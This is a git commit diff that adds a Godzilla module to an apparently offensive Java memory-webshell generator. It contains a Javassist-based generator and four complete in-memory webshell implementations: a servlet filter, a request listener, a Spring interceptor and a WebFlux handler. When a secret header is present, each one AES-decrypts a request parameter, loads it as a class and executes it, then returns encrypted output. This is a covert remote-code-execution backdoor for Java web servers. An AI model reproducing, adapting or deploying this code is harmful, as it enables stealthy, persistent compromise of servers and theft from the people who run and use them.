This commit is contained in:
pen4uin
2024-06-01 12:20:17 +08:00
parent 1e4291e965
commit b6e34b31e2
99 changed files with 11806 additions and 128 deletions
+21
View File
@@ -0,0 +1,21 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>jmg</groupId>
<artifactId>java-memshell-generator</artifactId>
<version>${revision}</version>
</parent>
<artifactId>jmg-godzilla</artifactId>
<dependencies>
<dependency>
<groupId>jmg</groupId>
<artifactId>jmg-core</artifactId>
<version>${revision}</version>
<scope>compile</scope>
</dependency>
</dependencies>
</project>
@@ -0,0 +1,67 @@
package jmg.godzilla.generator;
import javassist.ClassClassPath;
import javassist.CtClass;
import jmg.godzilla.util.ShellUtil;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.core.generator.IShellGenerator;
import jmg.core.util.CommonUtil;
import jmg.core.util.JavassistUtil;
import jmg.core.util.ResponseUtil;
import me.gv7.woodpecker.tools.common.FileUtil;
public class GodzillaGenerator implements IShellGenerator {
@Override
public void initShell(AbstractConfig config) {
if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
if (config.getKey() == null) config.setKey(CommonUtil.genRandomLengthString(6));
}
@Override
public byte[] makeShell(AbstractConfig config) throws Exception {
initShell(config);
String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
String shellClassName = ShellUtil.getShellClassName(shellName);
byte[] bytes = modifyShell(shellClassName, config);
config.setShellBytes(bytes);
config.setShellBytesLength(bytes.length);
config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
return bytes;
}
@Override
public byte[] modifyShell(String className, AbstractConfig config) {
byte[] bytes = new byte[0];
try {
pool.insertClassPath(new ClassClassPath(GodzillaGenerator.class));
CtClass ctClass = pool.getCtClass(className);
// lambda 表达式
if (!config.getShellType().equals(Constants.SHELL_WF_HANDLERMETHOD)) {
ctClass.getClassFile().setVersionToJava5();
}
JavassistUtil.addStaticFieldIfNotNull(ctClass, "pass", config.getPass());
JavassistUtil.addStaticFieldIfNotNull(ctClass, "key", CommonUtil.getMd5(config.getKey()).substring(0, 16));
if (!config.getShellType().equals(Constants.SHELL_WF_HANDLERMETHOD)) {
JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
}
JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
}
JavassistUtil.removeSourceFileAttribute(ctClass);
bytes = ctClass.toBytecode();
ctClass.detach();
} catch (Exception e) {
e.printStackTrace();
}
return bytes;
}
}
@@ -0,0 +1,139 @@
package jmg.godzilla.memshell;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.UUID;
public class GodzillaFilter extends ClassLoader implements Filter {
public static String key;
public static String pass;
public static String md5;
public String headerName;
public String headerValue;
static {
md5 = md5(pass + key);
}
public GodzillaFilter() {
}
public GodzillaFilter(ClassLoader z) {
super(z);
md5 = md5(pass + key);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
public static String md5(String s) {
String ret = null;
try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
} catch (Exception var3) {
}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f;
try {
f = ((Class) session.getAttribute("payload")).newInstance();
} catch (InstantiationException | IllegalAccessException e) {
throw new RuntimeException(e);
}
f.equals(arrOut);
// 修复使用 Godzilla 插件时 "evalClass is null" 的 Bug, f.equals(data); -> f.equals(request);
// f.equals(data);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
} else {
chain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
chain.doFilter(servletRequest, servletResponse);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {
}
}
@@ -0,0 +1,132 @@
package jmg.godzilla.memshell;
import org.springframework.web.servlet.AsyncHandlerInterceptor;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.math.BigInteger;
import java.security.MessageDigest;
public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
public static String key;
public static String pass;
public static String md5;
public String headerName;
public String headerValue;
static {
md5 = md5(pass + key);
}
public GodzillaInterceptor() {
}
public GodzillaInterceptor(ClassLoader z) {
super(z);
md5 = md5(pass + key);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
byte[] data = b64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaInterceptor(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f;
try {
f = ((Class) session.getAttribute("payload")).newInstance();
} catch (InstantiationException | IllegalAccessException e) {
throw new RuntimeException(e);
}
f.equals(arrOut);
// f.equals(data);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
return false;
} else {
return true;
}
}
public static String md5(String s) {
String ret = null;
try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
} catch (Exception var3) {
}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public static byte[] b64Decode(String bs) throws Exception {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) ((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
} catch (Exception var5) {
}
}
return value;
}
}
@@ -0,0 +1,156 @@
package jmg.godzilla.memshell;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.security.MessageDigest;
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public static String key;
public static String pass;
public String headerName;
public String headerValue;
static String md5;
public static String cs;
static {
md5 = md5(pass + key);
cs = "UTF-8";
}
public GodzillaListener() {
}
public GodzillaListener(ClassLoader z) {
super(z);
md5 = md5(pass + key);
cs = "UTF-8";
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = this.getResponseFromRequest(request);
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaListener(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
// f.equals(data);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
// 提交 response、清空缓冲区,防止后续处理流程中 response 被覆盖导致连接失败
response.flushBuffer();
}
}
} catch (Exception var8) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
return null;
}
private static synchronized Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while (var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
public static String md5(String s) {
String ret = null;
try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
} catch (Exception var3) {
}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
}
@@ -0,0 +1,123 @@
package jmg.godzilla.memshell;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.Map;
public class GodzillaWebFluxHandlerMethod {
public static Map<String, Object> store = new HashMap();
public static String key;
public static String pass;
public static String md5;
public GodzillaWebFluxHandlerMethod() {
}
static {
md5 = md5(pass + key);
}
private static Class defineClass(byte[] classbytes) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
return (Class) method.invoke(urlClassLoader, classbytes, 0, classbytes.length);
}
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public synchronized ResponseEntity invoke(ServerWebExchange exchange) {
try {
Object bufferStream = exchange.getFormData().flatMap(c -> {
StringBuilder result = new StringBuilder();
try {
String id = c.getFirst(pass);
byte[] data = x(base64Decode(id), false);
if (store.get("payload") == null) {
store.put("payload", defineClass(data));
} else {
store.put("parameters", data);
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = ((Class) store.get("payload")).newInstance();
f.equals(arrOut);
f.equals(data);
result.append(md5.substring(0, 16));
f.toString();
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Exception ex) {
result.append(ex.getMessage());
}
return Mono.just(result.toString());
});
return new ResponseEntity(bufferStream, HttpStatus.OK);
} catch (Exception ex) {
return new ResponseEntity(ex.getMessage(), HttpStatus.OK);
}
}
}
@@ -0,0 +1,48 @@
package jmg.godzilla.util;
import jmg.core.config.Constants;
import jmg.godzilla.memshell.GodzillaFilter;
import jmg.godzilla.memshell.GodzillaInterceptor;
import jmg.godzilla.memshell.GodzillaListener;
import jmg.godzilla.memshell.GodzillaWebFluxHandlerMethod;
import java.util.HashMap;
import java.util.Map;
public class ShellUtil {
private static final Map<String, String> SHELL_CLASSNAME_MAP = new HashMap();
private static final Map<String, Map<String, String>> toolMap = new HashMap();
public ShellUtil() {
}
public static String getShellName(String toolType, String shellType) {
Map<String, String> shellMap = toolMap.get(toolType);
return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
}
public static String getShellClassName(String shellName) throws Exception {
if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
throw new Exception("Invalid shell type '" + shellName + "'");
} else {
return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
}
}
static {
SHELL_CLASSNAME_MAP.put(GodzillaFilter.class.getSimpleName(), GodzillaFilter.class.getName());
SHELL_CLASSNAME_MAP.put(GodzillaListener.class.getSimpleName(), GodzillaListener.class.getName());
SHELL_CLASSNAME_MAP.put(GodzillaInterceptor.class.getSimpleName(), GodzillaInterceptor.class.getName());
SHELL_CLASSNAME_MAP.put(GodzillaWebFluxHandlerMethod.class.getSimpleName(), GodzillaWebFluxHandlerMethod.class.getName());
Map<String, String> godzillaMap = new HashMap();
godzillaMap.put(Constants.SHELL_FILTER, GodzillaFilter.class.getSimpleName());
godzillaMap.put(Constants.SHELL_LISTENER, GodzillaListener.class.getSimpleName());
godzillaMap.put(Constants.SHELL_INTERCEPTOR, GodzillaInterceptor.class.getSimpleName());
godzillaMap.put(Constants.SHELL_WF_HANDLERMETHOD, GodzillaWebFluxHandlerMethod.class.getSimpleName());
toolMap.put("Godzilla", godzillaMap);
}
}